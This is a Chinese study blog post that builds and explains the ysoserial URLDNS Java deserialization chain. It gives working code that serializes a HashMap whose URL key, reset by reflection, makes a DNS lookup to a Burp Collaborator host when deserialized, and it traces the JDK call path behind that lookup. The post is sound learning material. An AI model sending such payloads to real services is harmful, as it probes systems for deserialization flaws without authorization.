跟白日梦组长的教程手搓一条链,跟p神分析的ysoserial的URLDNS再走一遍利用链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package Chains;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

@SuppressWarnings("all")
public class URLDNS {
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("Serialization/ser.bin"));
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception{
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("https://wjjm3ftu3m5rsh3n4o93s6nlhcn3btzi.oastify.com");
// 在put时,让url的hashcode不为-1,则不会发起DNS请求。使用反射实现修改
Class classUrl = url.getClass();
Field fieldHashCode = classUrl.getDeclaredField("hashCode");
fieldHashCode.setAccessible(true);
fieldHashCode.set(url, 0); // 改成任意不是-1的值
hashMap.put(url, 0);
fieldHashCode.set(url, -1); // 恢复为-1,使反序列化时发起DNS请求
serialize(hashMap);
}
}

分析一下URLDNS反序列化触发DNS请求的原理。

  • readObject——触发反序列化的方法

    在HashMap中,readObject方法是这样的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    private void readObject(ObjectInputStream s)
    throws IOException, ClassNotFoundException {

    ObjectInputStream.GetField fields = s.readFields();

    // Read loadFactor (ignore threshold)
    float lf = fields.get("loadFactor", 0.75f);
    if (lf <= 0 || Float.isNaN(lf))
    throw new InvalidObjectException("Illegal load factor: " + lf);

    lf = Math.min(Math.max(0.25f, lf), 4.0f);
    HashMap.UnsafeHolder.putLoadFactor(this, lf);

    reinitialize();

    s.readInt(); // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0) {
    throw new InvalidObjectException("Illegal mappings count: " + mappings);
    } else if (mappings == 0) {
    // use defaults
    } else if (mappings > 0) {

    ...

    // Read the keys and values, and put the mappings in the HashMap
    for (int i = 0; i < mappings; i++) {
    @SuppressWarnings("unchecked")
    K key = (K) s.readObject();
    @SuppressWarnings("unchecked")
    V value = (V) s.readObject();
    putVal(hash(key), key, value, false, false); // <--------在这里!!!
    }
    }
    }

    忽略部分代码,在最后面的putVal()中,调用了hash()方法计算了键名的hash。然后再跟入hash()方法。

    1
    2
    3
    4
    static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

    此处再调用key.hashCode()。当然,对于传入不同的对象会有其各自不同的hashCode方法,而这里我们传入的是一个URL类型的对象,所以再跟入URL类的hashCode方法。

    1
    2
    3
    4
    5
    6
    7
    public synchronized int hashCode() {
    if (hashCode != -1)
    return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
    }

    在最开头的那段链中,直接跟入hashMap.put(url, 0);其实会进入if (hashCode != -1),因为利用反射手动更改了传入的URL对象的hashCode值,这里后面再说。但反序列化的时候需要跳出if (hashCode != -1),执行hashCode = handler.hashCode(this);,所以先往下看handler.hashCode()方法。此时,handler是URLStreamHandler对象(的某个子类对象)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
    h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u); // <--------在这里!!!
    ...
    }

    再忽略部分代码,可以看到handler.hashCode()方法中有一个getHostAddress()方法(字面意思上就是获得主机地址,已经很接近了),再跟入。

    1
    2
    3
    protected InetAddress getHostAddress(URL u) {
    return u.getHostAddress();
    }

    再跟入u.getHostAddress().

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    synchronized InetAddress getHostAddress() {
    if (hostAddress != null) {
    return hostAddress;
    }

    if (host == null || host.isEmpty()) {
    return null;
    }
    try {
    hostAddress = InetAddress.getByName(host); // <--------在这里!!!
    } catch (UnknownHostException | SecurityException ex) {
    return null;
    }
    return hostAddress;
    }

    hostAddress = InetAddress.getByName(host)是根据主机名获得IP地址,很明显这就是DNS请求了。可以用一下Burp Collaborator测试一下,可以看到DNS请求。至此URLDNS的核心已经结束了,但仍有其他小细节。

  • 在序列化时就触发了DNS请求,而反序列化时没有?

    回到URL的hashCode方法,有个if (hashCode != -1),可以测试一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    HashMap<URL, Integer> hashMap = new HashMap<>();
    URL url = new URL("https://wjjm3ftu3m5rsh3n4o93s6nlhcn3btzi.oastify.com");
    Class classUrl = url.getClass();
    Field fieldHashCode = classUrl.getDeclaredField("hashCode");
    fieldHashCode.setAccessible(true);
    System.out.println(fieldHashCode.get(url));
    hashMap.put(url, 0);
    System.out.println(fieldHashCode.get(url));

    // 输出
    -1
    1010668989

    利用反射取到了放入HashMap前后的url的hashCode。其实就是url对象中有个hashCode字段,也有个hashCode()方法,字段hashCode默认值为-1,若调用过hashCode()方法则更新该值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    Class classUrl = url.getClass();
    System.out.println(url.hashCode()); // 提前先调用一次hashCode()方法,计算hashCode
    Field fieldHashCode = classUrl.getDeclaredField("hashCode");
    fieldHashCode.setAccessible(true);
    System.out.println(fieldHashCode.get(url));
    hashMap.put(url, 0);
    System.out.println(fieldHashCode.get(url));

    // 输出
    1010668989
    1010668989
    1010668989

    这回输出就不一样了,而真正的计算其实只有第一次,后面都是直接输出了保存下来的hashCode。

    根据上面追踪HashMap类的readObject()方法可以看到,我们只有让hashCode != -1才能进入到handler.hashCode(),才能产生DNS请求。因此我们在序列化的时候要防止url.hashCode()的调用,而在反序列化时调用,这个时候就需要反射的帮助了。

  • 利用反射修改hashCode,阻止序列化时的DNS请求,产生反序列化时的DNS请求

    从上面贴出的代码其实已经可以窥见一二。

    1. 利用反射获取私有属性hashCode,并修改访问权限
    2. 调用hashMap.put()前更改hashCode为非-1的值,阻止其计算hashCode
    3. 将url对象放入hashMap
    4. 再次更改url对象的hashCode为-1,使其在反序列化时能够被HashMap重写的readObject()方法调用到hashCode的计算,进而产生DNS请求

    至此,完整的且基础的URLDNS分析完毕